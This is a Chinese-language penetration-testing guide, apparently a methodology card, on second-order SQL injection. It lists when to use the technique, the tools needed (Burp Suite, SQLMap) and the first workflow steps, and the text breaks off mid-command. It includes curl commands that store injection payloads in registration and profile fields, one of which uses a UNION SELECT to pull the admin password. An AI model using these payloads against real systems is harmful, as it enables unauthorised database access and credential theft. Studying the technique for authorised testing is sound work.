执行二阶 SQL 注入
适用场景
- 当一阶 SQL 注入测试表明在存储阶段进行了正确的输入清理
- 在对含有用户生成内容并将其存入数据库的应用程序进行渗透测试时
- 在测试多步骤工作流,其中存储的数据会进入后续数据库查询
- 在评估显示或处理用户提交数据的管理面板时
- 在评估使用先前存储数据的存储过程执行路径时
前置条件
- Burp Suite Professional,用于跨应用流程跟踪请求
- 支持二阶注入的 SQLMap(--second-url 标志)
- 理解 SQL 注入基础知识及盲注提取技术
- 两个或更多应用功能(一个用于存储数据,另一个用于触发执行)
- 数据库错误信息监控或盲注技术知识
- 多个用户账户,用于在不同上下文中测试存储的数据
工作流程
步骤 1 — 识别存储点与触发点
# 对应用进行映射以识别:
# 1. 存储点(STORAGE POINTS):用户输入被保存到数据库的位置
# - 用户注册(用户名、邮箱、地址)
# - 个人资料更新表单
# - 评论/评价提交
# - 文件上传元数据
# - 订单/预订详情
# 2. 触发点(TRIGGER POINTS):存储的数据被用于查询的位置
# - 显示用户数据的管理面板
# - 报表生成
# - 使用存储偏好的搜索功能
# - 使用存储邮箱进行密码重置
# - 导出/下载功能
# 注册一个用户名中带有 SQL 注入的用户
curl -X POST http://target.com/register \
-d "username=admin'--&password=test123&email=test@test.com"
步骤 2 — 通过存储点注入载荷
# 在注册时将 SQL 注入载荷存入用户名
curl -X POST http://target.com/register \
-d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"
# 在个人资料字段中存储注入
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"
# 在地址字段中存储注入
curl -X POST http://target.com/api/address \
-H "Cookie:…